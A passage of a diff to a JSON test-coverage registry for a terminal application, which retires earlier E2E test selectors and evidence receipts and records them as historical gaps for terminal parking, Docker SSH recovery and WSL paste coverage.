--workers=1\"],\"testFiles\":[\"src/renderer/src/components/terminal-pane/parking/output-watchers/terminal-parked-tab-watchers.test.ts\",\"src/renderer/src/components/terminal-pane/parking/lifecycle/use-terminal-tab-cold-parking.test.ts\",\"src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge-split.test.ts\",\"src/main/runtime/terminal/layout/orca-runtime-terminal-split-authority.test.ts\",\"src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts\",\"src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts\",\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-cold-restore-reanchor.test.ts\",\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-session-adoption.test.ts\",\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-protocol-compatibility.test.ts\",\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-history-recovery.test.ts\",\"tests/e2e/host-cold-park-remote-subscriber.unit.test.ts\",\"tests/e2e/host-parked-pane-remote-viewer.spec.ts\",\"tests/e2e/terminal-parked-cli-split.spec.ts\",\"tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts\"]}", "Audit5922 intentionally retires mixed split/agent parking eligibility classification; incorrect eligibility can unmount a still-needed terminal or hide resume, though the retired predicate suite never mounts or resumes the actual view. These narrow alarms are lost without equivalent replacement. Remaining selectors/assertions and dated evidenceRuns retain their original scope; no fresh validation or whole-gate replacement claim. Preserve complete historical narratives and earlier knownGaps verbatim.", "Module-layout web/session cleanup: Removed the old-host recovery TEST alarm for preserving a newly created CLI tab across stream/list ordering. No replacement coverage or new execution is claimed; dated receipts describe their original runs. Prior active fields (historical only): [{\"pointer\":\"/gates/138/commands/0\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge-split.test.ts src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts tests/e2e/host-cold-park-remote-subscriber.unit.test.ts --reporter=dot\\\"\"},{\"pointer\":\"/gates/138/testFiles/1\",\"raw\":\"\\\"src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts\\\"\"},{\"pointer\":\"/gates/138/assertionRefs/4\",\"raw\":\"{\\n \\\"file\\\": \\\"src/renderer/src/runtime/hosted-terminals/recovery/web-session-terminal-orphan-mixed-version.test.ts\\\",\\n \\\"assertions\\\": [\\\"mirrors a new CLI tab after old-host recovery when $name\\\"]\\n }\"}]", - "Hooks/IPC layout transports the terminal split TEST command and testFiles path. Its accepted source policy retains the explicit split queued during tab-ownership hydration and mounted split scoping cases, and cuts the two mock-only mount-capability registrations. Existing E2E assertionRefs and complete dated receipts remain unchanged and keep only their original scope; no fresh execution, replacement coverage or validation of changed source bytes is claimed. Prior active fields (historical only): [{\"pointer\":\"/gates/138/commands/0\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge-split.test.ts src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts tests/e2e/host-cold-park-remote-subscriber.unit.test.ts --reporter=dot\\\"\"},{\"pointer\":\"/gates/138/testFiles/0\",\"raw\":\"\\\"src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge-split.test.ts\\\"\"}]" + "Hooks/IPC layout transports the terminal split TEST command and testFiles path. Its accepted source policy retains the explicit split queued during tab-ownership hydration and mounted split scoping cases, and cuts the two mock-only mount-capability registrations. Existing E2E assertionRefs and complete dated receipts remain unchanged and keep only their original scope; no fresh execution, replacement coverage or validation of changed source bytes is claimed. Prior active fields (historical only): [{\"pointer\":\"/gates/138/commands/0\",\"raw\":\"\\\"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge-split.test.ts src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts tests/e2e/host-cold-park-remote-subscriber.unit.test.ts --reporter=dot\\\"\"},{\"pointer\":\"/gates/138/testFiles/0\",\"raw\":\"\\\"src/renderer/src/hooks/ipc-events/terminal-ui-routing-ipc-bridge-split.test.ts\\\"\"}]", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-29\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"result\": \"passed\",\n \"command\": \"pnpm exec playwright test tests/e2e/terminal-parked-cli-split.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"durationSeconds\": 24,\n \"summary\": \"A real isolated-profile Electron run passed in 23.0 seconds: the shipped CLI split the exact cold-parked renderer tab before its historical timeout, only that tab mounted and released its background lease, the decoy selection and focus remained unchanged, and both stable-identity panes completed rendered keyboard/output round trips after reveal.\",\n \"currentCommand\": \"pnpm exec playwright test tests/e2e/terminal-parked-cli-split.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-08-29\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"result\": \"passed\",\n \"command\": \"pnpm exec playwright test tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"durationSeconds\": 36,\n \"summary\": \"A clean exact-source build passed the real pinned-port serve replacement in 27.4 seconds: the daemon PTY and fixture PID survived, the renderer observed pending-handle without an empty or divergent binding, output/input/resize converged, history checkpoint and output.log continuity held, and authoritative close removed the surface. An exact-bundle repeat also passed.\",\n \"currentCommand\": \"pnpm exec playwright test tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/hooks/ipc-events/terminal/terminal-ui-routing-ipc-bridge-split.test.ts src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts tests/e2e/host-cold-park-remote-subscriber.unit.test.ts --reporter=dot\",\n \"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-cold-restore-reanchor.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-session-adoption.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-protocol-compatibility.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-history-recovery.test.ts --reporter=dot\",\n \"pnpm exec playwright test tests/e2e/host-parked-pane-remote-viewer.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm exec playwright test tests/e2e/terminal-parked-cli-split.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\",\n \"pnpm exec playwright test tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1\"\n ]\ntestFiles: [\n \"src/renderer/src/hooks/ipc-events/terminal/terminal-ui-routing-ipc-bridge-split.test.ts\",\n \"src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts\",\n \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-cold-restore-reanchor.test.ts\",\n \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-session-adoption.test.ts\",\n \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-protocol-compatibility.test.ts\",\n \"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-history-recovery.test.ts\",\n \"tests/e2e/host-cold-park-remote-subscriber.unit.test.ts\",\n \"tests/e2e/host-parked-pane-remote-viewer.spec.ts\",\n \"tests/e2e/terminal-parked-cli-split.spec.ts\",\n \"tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/host-cold-park-remote-subscriber.unit.test.ts\",\n \"assertions\": [\n \"a fully unmounted host renderer still streams, accepts input, and resubscribes\"\n ]\n },\n {\n \"file\": \"tests/e2e/host-parked-pane-remote-viewer.spec.ts\",\n \"assertions\": [\n \"a cold-parked host pane carries a complete paired-client input and echo round trip\"\n ]\n },\n {\n \"file\": \"tests/e2e/terminal-parked-cli-split.spec.ts\",\n \"assertions\": [\n \"the shipped dev CLI completes an exact parked-tab split before the historical 10-second timeout\",\n \"only the parked target mounts under the bounded lease while the decoy worktree, tab, active leaf, and keyboard focus stay unchanged\",\n \"the target re-parks, then reveals two visible panes with the stable source leaf, PTY, and handle intact\",\n \"both the source and created pane accept scoped keyboard input and render independently generated output\"\n ]\n },\n {\n \"file\": \"tests/e2e/paired-remote-terminal-serve-restart-binding.spec.ts\",\n \"assertions\": [\n \"a real headless runtime restart never empties the viewer's verified binding while the daemon PTY survives\",\n \"rendered output, focused input, and resized grid delivery converge after the replacement runtime is ready\",\n \"the original fixture process survives while its pre-restart checkpoint and post-restart history append remain durable\",\n \"authoritative tab close removes the viewer binding\"\n ]\n },\n {\n \"file\": \"src/renderer/src/runtime/hosted-terminals/recovery/panes/web-session-terminal-pending-handle-recovery.test.ts\",\n \"assertions\": [\n \"retries a transient pane-resolution failure for an unchanged replayed snapshot\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-cold-restore-reanchor.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-session-adoption.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-protocol-compatibility.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter-history-recovery.test.ts --reporter=dot\"],\"testFiles\":[\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-cold-restore-reanchor.test.ts\",\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-session-adoption.test.ts\",\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-protocol-compatibility.test.ts\",\"src/main/daemon/providers/adapter/testing/daemon-pty-adapter-history-recovery.test.ts\"],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\"],\"coveredProviders\":[\"local-daemon\",\"paired-runtime\"],\"redGreenEvidence\":{\"status\":\"missing\",\"evidence\":\"Audit1342 changed referenced test sources; no new red/green validation of the reduced set. Historical account: On the affected STA-2854 path, cold parking removed the runtime-graph leaf and the paired stream disconnected; retaining the exact live parked watcher leaf keeps every sampled client phase connected and completes input plus echo. Issue #17297 records the same-handle Windows A/B: the parked split failed after 11 seconds while an explicit switch made it immediate; the fixed macOS Electron journey completes before that 10-second internal timeout without a switch, preserves the decoy context, and renders independent round trips in both panes. Before the #12115 fix, the real restart delivered pending-handle and the viewer's tab identity rotated away from its retained layout binding; output still painted but post-restart keyboard output never reached output.log because attach-only adoption registered no active history writer. The fixed journey keeps one identity and appends history, while deterministic tests separate ready replacement, positive mismatch, safe retention, exact adoption, and removal.\"},\"flakeHistory\":{\"status\":\"not-started\",\"evidence\":\"Changed selectors have no new soak result after Audit1342; any retained unchanged-source receipts apply only to their own commands. Historical account: The cold-park, parked CLI split, and restart sentinels are source-routed for PR collection; route-specific CI history has not started.\"},\"runtimeBudget\":{\"p95Seconds\":360,\"scope\":\"Historical pre-audit selector budget; changed selectors have no new runtime measurement. Unchanged receipts remain scoped to their own commands.\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Historical account for the pre-audit test set; removed work-count alarms and changed selectors have no fresh measurement. Publication reads the existing bounded parked-watcher registry. Parked split routing retains at most 32 requests and 32 exact-tab leases, uses the existing three-second background mount window, cancels on close, and adds no polling or provider scan. Pending recovery is event-driven, capped at 64 exact candidates, and pairing-revision fenced. Each environment/revision/worktree key runs one active request plus only the latest trailing frame; the global RPC lane permits at most 4 active and 64 waiting calls; dispositions are capped at 512 fingerprints; ready/removal frames overtake degraded recovery. A repeated semantic snapshot version can retry a transient adoption failure without polling. The path adds no wire field, and its live journeys are selected only by exact parking, split-routing, recovery, stream, and daemon-attach authorities.\"}}" ], "demotionRule": "Demote if a live parked/restarting PTY loses its exact graph leaf or verified viewer binding, a retired PTY remains published, multi-pane identity drifts, or either routed client round trip flakes without a diagnosed cause." }, @@ -13224,7 +11757,7 @@ "id": "ssh.docker-recovery-and-resource-lifecycle", "title": "Docker SSH reconnect, host faults, listing and watcher lifecycle", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-runtime", "layer": "electron-docker-ssh", "surfaces": [ @@ -13236,9 +11769,9 @@ ], "platforms": ["macos", "linux", "windows"], "providers": ["ssh"], - "coveredPlatforms": ["macos", "linux"], - "coveredProviders": ["ssh"], - "coverageNotes": "A macOS Electron client drives a Linux Docker SSH execution host. The six-spec suite passed ten enabled cases with clean worker exit (5.2m). The formerly skipped frozen-host input case now waits for recovered authority before sending input and passed four separate executions (one initial and three repetitions). The existing flooded-shell fixme remains an explicitly reproduced application gap. The bulk-open freeze reproduction runs in Linux headed CI with SwiftShader on Xvfb: headless Linux schedules idle animation frames about 1s apart, invalidating the foreground interaction measurement. Original uninstrumented five-pane workload passed all ten repetitions with zero retries/skips in 6.6m; bulk-open lag 79.3–147.8ms and interaction 127.1–155.9ms, unchanged 2500ms/5000ms budgets. Run 34037669843, head f25eab3fd7d723509ced026633f80b193a139b76, excludes unmerged replay-input application fix #19075. Deterministic remote Codex fixture validation passed three normal restores and three forced reconnects with zero retries on merged main plus the replay probe correction (run 34050117471). The original forced-reconnect probe missed nonempty replay returned in pty:spawn reattach replies. Routine coverage now includes both modes by default; real Codex service execution remains opt-in. The added five-pane input spec passed in Linux CI run 34033353595, and diagnostic run 34034754815 reproduced real input loss during scrollback replay; application fix #19075 (98b0c329ff3) has since merged and this spec now guards it.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: A macOS Electron client drives a Linux Docker SSH execution host. The six-spec suite passed ten enabled cases with clean worker exit (5.2m). The formerly skipped frozen-host input case now waits for recovered authority before sending input and passed four separate executions (one initial and three repetitions). The existing flooded-shell fixme remains an explicitly reproduced application gap. The bulk-open freeze reproduction runs in Linux headed CI with SwiftShader on Xvfb: headless Linux schedules idle animation frames about 1s apart, invalidating the foreground interaction measurement. Original uninstrumented five-pane workload passed all ten repetitions with zero retries/skips in 6.6m; bulk-open lag 79.3–147.8ms and interaction 127.1–155.9ms, unchanged 2500ms/5000ms budgets. Run 34037669843, head f25eab3fd7d723509ced026633f80b193a139b76, excludes unmerged replay-input application fix #19075. Deterministic remote Codex fixture validation passed three normal restores and three forced reconnects with zero retries on merged main plus the replay probe correction (run 34050117471). The original forced-reconnect probe missed nonempty replay returned in pty:spawn reattach replies. Routine coverage now includes both modes by default; real Codex service execution remains opt-in. The added five-pane input spec passed in Linux CI run 34033353595, and diagnostic run 34034754815 reproduced real input loss during scrollback replay; application fix #19075 (98b0c329ff3) has since merged and this spec now guards it.", "motivatingLinks": [ "https://github.com/stablyai/orca/issues/18018", "https://github.com/stablyai/orca/pull/18546", @@ -13249,46 +11782,26 @@ "https://github.com/stablyai/orca/actions/runs/34050117471" ], "invariant": "Transport loss and frozen-host silence must preserve the remote session; host relay loss may rebind a pane without accumulating reattachable leases. Reconnects must preserve usable terminal content, bounded PTYs/fds/processes, complete large listings, and independently recoverable watcher processes. Electron test shutdown must release inherited pipes after confirmed root exit without closing live-process pipes.", - "oracle": "Poll a changed connected SSH authority after injected faults, then require terminal output and appropriate PTY identity. Read remote process/fd state, listFiles replies, and rendered explorer rows. Resolve Playwright cleanup only after the root process exits and its inherited pipes close; live-process pipes remain untouched.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/helpers/electron-process-shutdown.unit.test.ts" - ], - "testFiles": ["tests/e2e/helpers/electron-process-shutdown.unit.test.ts"], - "assertionRefs": [ - { - "file": "tests/e2e/helpers/electron-process-shutdown.unit.test.ts", - "assertions": [ - "releases inherited pipes after confirmed exit, including prior exit", - "retains live-process pipes on shutdown timeout" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-09-05", - "runner": "local", - "platform": "macos", - "result": "passed", - "command": "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/helpers/electron-process-shutdown.unit.test.ts", - "durationSeconds": 0.168, - "summary": "All three shutdown regression tests passed; disabling pipe release fails the first two by timeout. Two half-open Electron repetitions separately passed in 1.7m without worker teardown timeout." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Poll a changed connected SSH authority after injected faults, then require terminal output and appropriate PTY identity. Read remote process/fd state, listFiles replies, and rendered explorer rows. Resolve Playwright cleanup only after the root process exits and its inherited pipes close; live-process pipes remain untouched.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 420, - "scope": "per Electron Docker test; measured suite p95 and CI soak not yet established" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. per Electron Docker test; measured suite p95 and CI soak not yet established" }, "flakeHistory": { - "status": "flaky", - "evidence": "Baseline: ten enabled tests passed, two fixme skipped, worker teardown timed out (7.3m). After pipe cleanup: ten passed and worker exited cleanly (5.2m); two half-open repeats passed (1.7m). The formerly skipped thaw-input case failed before its recovered-authority wait and passed 1+3 executions afterward (56.9s + 2.6m). Flood failed both its original input oracle and a strengthened producer-completion oracle after recovery. Five-pane input diagnostics additionally failed 1/5 in run 34034754815: the intended focused PTY emitted the full input, the replay guard discarded 31 characters, and the remote ACK contained exactly the remaining suffix. PR #19075 addresses that application bug; passing repetitions alone do not establish its resolution." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Baseline: ten enabled tests passed, two fixme skipped, worker teardown timed out (7.3m). After pipe cleanup: ten passed and worker exited cleanly (5.2m); two half-open repeats passed (1.7m). The formerly skipped thaw-input case failed before its recovered-authority wait and passed 1+3 executions afterward (56.9s + 2.6m). Flood failed both its original input oracle and a strengthened producer-completion oracle after recovery. Five-pane input diagnostics additionally failed 1/5 in run 34034754815: the intended focused PTY emitted the full input, the replay guard discarded 31 characters, and the remote ACK contained exactly the remaining suffix. PR #19075 addresses that application bug; passing repetitions alone do not establish its resolution." }, "redGreenEvidence": { - "status": "partial", - "evidence": "Disabling exited-process pipe release causes two shutdown contract tests to time out; restoring it passes 3/3. Baseline Docker worker teardown failed; final six-spec enabled run and half-open repeats exit successfully. Frozen-host input fails without the post-thaw recovered-authority wait and passes four runs with it. Full product fault/recovery mutation coverage and CI history remain missing." + "status": "missing", + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Disabling exited-process pipe release causes two shutdown contract tests to time out; restoring it passes 3/3. Baseline Docker worker teardown failed; final six-spec enabled run and half-open repeats exit successfully. Frozen-host input fails without the post-thaw recovered-authority wait and passes four runs with it. Full product fault/recovery mutation coverage and CI history remain missing." }, "performanceBudget": { "required": true, - "evidence": "Test-only bounded pipe destruction and authority polling; no production polling, subprocesses, or runtime work added. Remote resources are counted instead of using wall-clock leak thresholds." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. Test-only bounded pipe destruction and authority polling; no production polling, subprocesses, or runtime work added. Remote resources are counted instead of using wall-clock leak thresholds." }, "promotionCriteria": [ "Require complete six-spec repeat runs with clean worker shutdown.", @@ -13302,7 +11815,11 @@ "Some legacy assertions inspect terminal serialization or backing state rather than rendered DOM; no blanket visual coverage claim.", "No p95 CI history or full product mutation proof.", "One headless bulk-open probe reached 6478.6ms in run 34035957303; animation-frame scheduling explains the consistent interaction failures, but does not directly explain that isolated timer-lag outlier. Long-term headed CI soak remains outstanding.", - "Codex replay artifact evidence uses a deterministic remote TUI on Linux CI; real-service, macOS/Windows clients and cross-version replay remain separate coverage gaps." + "Codex replay artifact evidence uses a deterministic remote TUI on Linux CI; real-service, macOS/Windows clients and cross-version replay remain separate coverage gaps.", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-09-05\",\n \"runner\": \"local\",\n \"platform\": \"macos\",\n \"result\": \"passed\",\n \"command\": \"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/helpers/electron-process-shutdown.unit.test.ts\",\n \"durationSeconds\": 0.168,\n \"summary\": \"All three shutdown regression tests passed; disabling pipe release fails the first two by timeout. Two half-open Electron repetitions separately passed in 1.7m without worker teardown timeout.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/helpers/electron-process-shutdown.unit.test.ts\"\n ]\ntestFiles: [\"tests/e2e/helpers/electron-process-shutdown.unit.test.ts\"]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/helpers/electron-process-shutdown.unit.test.ts\",\n \"assertions\": [\n \"releases inherited pipes after confirmed exit, including prior exit\",\n \"retains live-process pipes on shutdown timeout\"\n ]\n }\n ]", + "E2E layout cleanup intentionally removes whole CUT registrations without assertion salvage or equivalent replacement. Surviving remapped selectors are unexecuted future work at the future serial parent (actual parent null): {\"commands\":[\"pnpm exec vitest run --config config/vitest.config.ts tests/e2e/desktop/electron-fixtures/electron-process-shutdown.unit.test.ts\"],\"testFiles\":[\"tests/e2e/desktop/electron-fixtures/electron-process-shutdown.unit.test.ts\"],\"assertionRefs\":[]}", + "Historical declared scope before this cleanup: {\"protection\":\"partial\",\"coveredPlatforms\":[\"macos\",\"linux\"],\"coveredProviders\":[\"ssh\"],\"redGreenEvidence\":{\"status\":\"partial\",\"evidence\":\"Disabling exited-process pipe release causes two shutdown contract tests to time out; restoring it passes 3/3. Baseline Docker worker teardown failed; final six-spec enabled run and half-open repeats exit successfully. Frozen-host input fails without the post-thaw recovered-authority wait and passes four runs with it. Full product fault/recovery mutation coverage and CI history remain missing.\"},\"flakeHistory\":{\"status\":\"flaky\",\"evidence\":\"Baseline: ten enabled tests passed, two fixme skipped, worker teardown timed out (7.3m). After pipe cleanup: ten passed and worker exited cleanly (5.2m); two half-open repeats passed (1.7m). The formerly skipped thaw-input case failed before its recovered-authority wait and passed 1+3 executions afterward (56.9s + 2.6m). Flood failed both its original input oracle and a strengthened producer-completion oracle after recovery. Five-pane input diagnostics additionally failed 1/5 in run 34034754815: the intended focused PTY emitted the full input, the replay guard discarded 31 characters, and the remote ACK contained exactly the remaining suffix. PR #19075 addresses that application bug; passing repetitions alone do not establish its resolution.\"},\"runtimeBudget\":{\"p95Seconds\":420,\"scope\":\"per Electron Docker test; measured suite p95 and CI soak not yet established\"},\"performanceBudget\":{\"required\":true,\"evidence\":\"Test-only bounded pipe destruction and authority polling; no production polling, subprocesses, or runtime work added. Remote resources are counted instead of using wall-clock leak thresholds.\"}}" ], "demotionRule": "Keep experimental while any recovery reproduction fails or any teardown, identity, resource-count, or rendered oracle flakes; never promote by extending sleeps or retries." }, @@ -13310,63 +11827,37 @@ "id": "terminal.windows-wsl-launch-and-paste", "title": "Real WSL terminal agent launch and paste ownership", "maturity": "experimental", - "protection": "partial", + "protection": "none", "owner": "terminal-runtime", "layer": "electron-windows-wsl", "surfaces": ["agent tab launch", "keyboard paste", "terminal runtime retention"], "platforms": ["windows"], "providers": ["wsl1", "wsl2"], - "coveredPlatforms": ["windows"], - "coveredProviders": ["wsl1"], - "coverageNotes": "Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Remove synthetic WSL participation-verifier tests. The real WSL1 receipt and partial protection remain; WSL2 is still untested. Historical scope before this audit: Real WSL1 coverage: three scenarios each passed three times with no skips or retries; exact JSON report verified. Latest PR routing and installer-checksum follow-ups await CI. WSL2 remains untested.", + "coveredPlatforms": [], + "coveredProviders": [], + "coverageNotes": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Remove synthetic WSL participation-verifier tests. The real WSL1 receipt and partial protection remain; WSL2 is still untested. Historical scope before this audit: Real WSL1 coverage: three scenarios each passed three times with no skips or retries; exact JSON report verified. Latest PR routing and installer-checksum follow-ups await CI. WSL2 remains untested.", "motivatingLinks": ["https://github.com/stablyai/orca/actions/runs/34030832614"], "invariant": "An agent launched into WSL runs in the guest; keyboard paste reaches exactly one owning PTY and preserves Linux content even after the default shell changes.", - "oracle": "Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Run the existing real WSL launch and two paste cases three times; require nine passes and zero skipped, unexpected, or flaky results in the Playwright JSON report.", - "commands": [ - "gh workflow run windows-wsl-e2e.yml", - "pnpm exec playwright test tests/e2e/golden-tab-bar-agent-launch.spec.ts tests/e2e/terminal-windows-shell-paste-ownership.spec.ts --config tests/playwright.config.ts --project=electron-headless --workers=1", - "gh run view 34031806291 --log" - ], - "testFiles": [ - "tests/e2e/golden-tab-bar-agent-launch.spec.ts", - "tests/e2e/terminal-windows-shell-paste-ownership.spec.ts" - ], - "assertionRefs": [ - { - "file": "tests/e2e/golden-tab-bar-agent-launch.spec.ts", - "assertions": ["requires a distro-only marker from the launched agent"] - }, - { - "file": "tests/e2e/terminal-windows-shell-paste-ownership.spec.ts", - "assertions": ["retains WSL paste ownership after changing the default shell"] - } - ], - "evidenceRuns": [ - { - "date": "2026-09-06", - "runner": "ci", - "platform": "windows", - "result": "passed", - "command": "gh run view 34031806291 --log", - "durationSeconds": 210, - "summary": "Immutable run34031806291 at92fc5152: WSL1 launch3 and paste6 passed after reader-readiness correction; named-scenario verifier accepted actual JSON report with0skips0retries. Command retrieves recorded evidence; workflow_dispatch command above reruns current coverage." - } - ], + "oracle": "No current executed protection is claimed after E2E layout cleanup. Historical account: Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Run the existing real WSL launch and two paste cases three times; require nine passes and zero skipped, unexpected, or flaky results in the Playwright JSON report.", + "commands": [], + "testFiles": [], + "assertionRefs": [], + "evidenceRuns": [], "runtimeBudget": { "p95Seconds": 1800, - "scope": "CI job timeout; measured p95 is not established" + "scope": "Historical prior-selector budget; changed E2E selectors have no new runtime measurement. CI job timeout; measured p95 is not established" }, "flakeHistory": { - "status": "soaking", - "evidence": "Initial permanent-lane diagnostic8passed1failed on missing PTY before changing settings. After requiring guest-reader readiness before mutation, run34031806291 passed9/9. Two earlier setup validations also passed9/9. Long-term CI history remains missing." + "status": "not-started", + "evidence": "No fresh soak for changed E2E selectors. Historical account: Initial permanent-lane diagnostic8passed1failed on missing PTY before changing settings. After requiring guest-reader readiness before mutation, run34031806291 passed9/9. Two earlier setup validations also passed9/9. Long-term CI history remains missing." }, "redGreenEvidence": { "status": "missing", - "evidence": "Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Verifier rejects actual8pass1fail CI report and accepts actual9pass report. Unit contracts reject skips, missing or substituted scenarios and retried passes. No full application fault-mutation proof." + "evidence": "No fresh red/green execution for changed E2E selectors. Historical account: Audit2095 current-parent preparation2126: Changed test bytes/selectors have no fresh red/green validation. Unrelated retained-source historical evidence keeps its original scope. Historical prior account (preserved verbatim): Verifier rejects actual8pass1fail CI report and accepts actual9pass report. Unit contracts reject skips, missing or substituted scenarios and retried passes. No full application fault-mutation proof." }, "performanceBudget": { "required": false, - "evidence": "CI-only provisioning and routing; no application runtime changes." + "evidence": "Historical prior-selector account; changed E2E selectors have no new performance measurement. CI-only provisioning and routing; no application runtime changes." }, "promotionCriteria": [ "Require all nine real WSL executions on the final workflow head.", @@ -13378,7 +11869,11 @@ "Remove synthetic WSL participation-verifier tests. The real WSL1 receipt and partial protection remain; WSL2 is still untested.", "WSL2 is not provisioned.", "No SSH, folder-only workspace, packaged mixed-version, or live-service claim.", - "The new PR lane is outside verify until reliability is established." + "The new PR lane is outside verify until reliability is established.", + "E2E layout cleanup retires this complete historical receipt because its exact selector or source changed; it is not current validation. Original receipt verbatim:\n{\n \"date\": \"2026-09-06\",\n \"runner\": \"ci\",\n \"platform\": \"windows\",\n \"result\": \"passed\",\n \"command\": \"gh run view 34031806291 --log\",\n \"durationSeconds\": 210,\n \"summary\": \"Immutable run34031806291 at92fc5152: WSL1 launch3 and paste6 passed after reader-readiness correction; named-scenario verifier accepted actual JSON report with0skips0retries. Command retrieves recorded evidence; workflow_dispatch command above reruns current coverage.\"\n }", + "E2E layout cleanup: original active selector metadata is historical, not current validation:\ncommands: [\n \"gh workflow run windows-wsl-e2e.yml\",\n \"pnpm exec playwright test tests/e2e/golden-tab-bar-agent-launch.spec.ts tests/e2e/terminal-windows-shell-paste-ownership.spec.ts --config tests/playwright.config.ts --project=electron-headless --workers=1\",\n \"gh run view 34031806291 --log\"\n ]\ntestFiles: [\n \"tests/e2e/golden-tab-bar-agent-launch.spec.ts\",\n \"tests/e2e/terminal-windows-shell-paste-ownership.spec.ts\"\n ]\nassertionRefs: [\n {\n \"file\": \"tests/e2e/golden-tab-bar-agent-launch.spec.ts\",\n \"assertions\": 